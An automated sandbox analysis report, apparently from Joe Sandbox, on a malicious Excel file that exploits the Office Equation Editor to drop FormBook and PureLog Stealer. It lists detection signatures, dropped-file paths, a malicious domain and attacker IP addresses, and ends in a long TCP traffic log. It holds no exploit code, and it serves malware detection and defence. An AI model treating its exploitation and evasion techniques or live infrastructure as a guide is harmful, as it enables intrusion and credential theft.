Windows Analysis Report
RFQ#51281AOLAI.xls

Overview

General Information

Sample name: RFQ#51281AOLAI.xls
Analysis ID: 1482907
MD5: 6a2cb319332d2a0e586a3d1486af5c5a
SHA1: 1940ec2ffeb4676a56ac584567c419c31857bd61
SHA256: 3f341c20d06b4099461e0da9ced7d2e3d599e447d0acdf10b9a7d4a9e30d4440
Infos:

Detection

FormBook, PureLog Stealer
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus detection for dropped file
Malicious sample detected (through community Yara rule)
Microsoft Office launches external ms-search protocol handler (WebDAV)
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for dropped file
Sigma detected: EQNEDT32.EXE connecting to internet
Sigma detected: File Dropped By EQNEDT32EXE
Yara detected FormBook
Yara detected PureLog Stealer
.NET source code contains method to dynamically call methods (often used by packers)
.NET source code contains potential unpacker
AI detected suspicious Excel or Word document
Document exploit detected (process start blacklist hit)
Excel sheet contains many unusual embedded objects
Injects a PE file into a foreign processes
Machine Learning detection for dropped file
Machine Learning detection for sample
Microsoft Office drops suspicious files
Office drops RTF file
Office equation editor drops PE file
Office equation editor establishes network connection
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Office viewer loads remote template
Sigma detected: Equation Editor Network Connection
Sigma detected: Suspicious Binary In User Directory Spawned From Office Application
Sigma detected: Suspicious Microsoft Office Child Process
Allocates memory with a write watch (potentially for evading sandboxes)
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Checks if the current process is being debugged
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Document contains Microsoft Equation 3.0 OLE entries
Document contains embedded VBA macros
Document misses a certain OLE stream usually present in this Microsoft Office document type
Downloads executable code via HTTP
Drops PE files
Found potential string decryption / allocating functions
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Office Equation Editor has been started
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Sigma detected: Excel Network Connections
Sigma detected: Suspicious Office Outbound Connections
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Yara signature match

Classification

AV Detection
barindex
Antivirus detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\recreatednewthingswithentrienewprocesswhichwedidwithouthavingsuchagereatthigstodoever_______greatthingstohappened[1].doc Avira: detection malicious, Label: HEUR/Rtf.Malformed
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\1804222C.doc Avira: detection malicious, Label: HEUR/Rtf.Malformed
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{D8610C7A-67F1-4B3D-A1E4-B9ACF1973A7E}.tmp Avira: detection malicious, Label: EXP/CVE-2017-11882.Gen
Multi AV Scanner detection for domain / URL
Source: tny.wtf Virustotal: Detection: 5% Perma Link
Source: http://tny.wtf/ Virustotal: Detection: 5% Perma Link
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\winiti[1].exe Virustotal: Detection: 48% Perma Link
Source: C:\Users\user\AppData\Roaming\winiti.exe Virustotal: Detection: 48% Perma Link
Yara detected FormBook
Source: Yara match File source: 10.2.winiti.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.winiti.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000A.00000002.530344270.00000000002D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.530386931.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Roaming\winiti.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\winiti[1].exe Joe Sandbox ML: detected
Machine Learning detection for sample
Source: RFQ#51281AOLAI.xls Joe Sandbox ML: detected

Exploits
barindex
Office equation editor establishes network connection
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Network connect: IP: 104.219.239.104 Port: 80 Jump to behavior
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\winiti.exe Jump to behavior
Document contains Microsoft Equation 3.0 OLE entries
Source: ~WRF{D8610C7A-67F1-4B3D-A1E4-B9ACF1973A7E}.tmp.4.dr Stream path '_1783475591/\x1CompObj' : ...................F....Microsoft Equation 3.0....
Source: ~WRF{D8610C7A-67F1-4B3D-A1E4-B9ACF1973A7E}.tmp.4.dr Stream path '_1783475595/\x1CompObj' : ...................F....Microsoft Equation 3.0....
Source: ~WRF{D8610C7A-67F1-4B3D-A1E4-B9ACF1973A7E}.tmp.4.dr Stream path '_1783475616/\x1CompObj' : ...................F....Microsoft Equation 3.0....
Source: ~WRF{D8610C7A-67F1-4B3D-A1E4-B9ACF1973A7E}.tmp.4.dr Stream path '_1783475617/\x1CompObj' : ...................F....Microsoft Equation 3.0....
Source: ~WRF{D8610C7A-67F1-4B3D-A1E4-B9ACF1973A7E}.tmp.4.dr Stream path '_1783475620/\x1CompObj' : ...................F....Microsoft Equation 3.0....
Office Equation Editor has been started
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: amWV.pdb source: winiti.exe, 00000009.00000000.440872955.00000000011D2000.00000020.00000001.01000000.00000005.sdmp, winiti.exe.8.dr, winiti[1].exe.8.dr
Source: Binary string: amWV.pdbSHA256 source: winiti.exe, 00000009.00000000.440872955.00000000011D2000.00000020.00000001.01000000.00000005.sdmp, winiti.exe.8.dr, winiti[1].exe.8.dr
Source: Binary string: wntdll.pdb source: winiti.exe, winiti.exe, 0000000A.00000002.530456475.00000000008B0000.00000040.00001000.00020000.00000000.sdmp

Software Vulnerabilities
barindex
Document exploit detected (process start blacklist hit)
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Potential document exploit detected (performs DNS queries)
Source: global traffic DNS query: name: tny.wtf
Source: global traffic DNS query: name: tny.wtf
Source: global traffic DNS query: name: tny.wtf
Source: global traffic DNS query: name: tny.wtf
Source: global traffic DNS query: name: tny.wtf
Source: global traffic DNS query: name: tny.wtf
Source: global traffic DNS query: name: tny.wtf
Source: global traffic DNS query: name: tny.wtf
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 188.114.96.3:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 188.114.96.3:80
Source: global traffic TCP traffic: 188.114.96.3:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 188.114.96.3:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 188.114.96.3:80
Source: global traffic TCP traffic: 188.114.96.3:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 188.114.96.3:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 188.114.96.3:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.97.3:80
Source: global traffic TCP traffic: 188.114.97.3:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.97.3:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.97.3:80
Source: global traffic TCP traffic: 188.114.97.3:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.97.3:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.97.3:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.97.3:80
Source: global traffic TCP traffic: 188.114.97.3:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.97.3:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.97.3:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.97.3:80
Source: global traffic TCP traffic: 188.114.97.3:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.97.3:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.97.3:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 188.114.97.3:80
Source: global traffic TCP traffic: 188.114.97.3:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 188.114.97.3:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 188.114.97.3:80
Source: global traffic TCP traffic: 188.114.97.3:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 188.114.97.3:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 188.114.97.3:80
Source: global traffic TCP traffic: 188.114.97.3:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 188.114.97.3:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:80
Source: global traffic TCP traffic: 188.114.96.3:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:80
Source: global traffic TCP traffic: 188.114.96.3:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 188.114.96.3:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.97.3:80
Source: global traffic TCP traffic: 188.114.97.3:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.96.3:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:80
Source: global traffic TCP traffic: 188.114.97.3:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.97.3:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
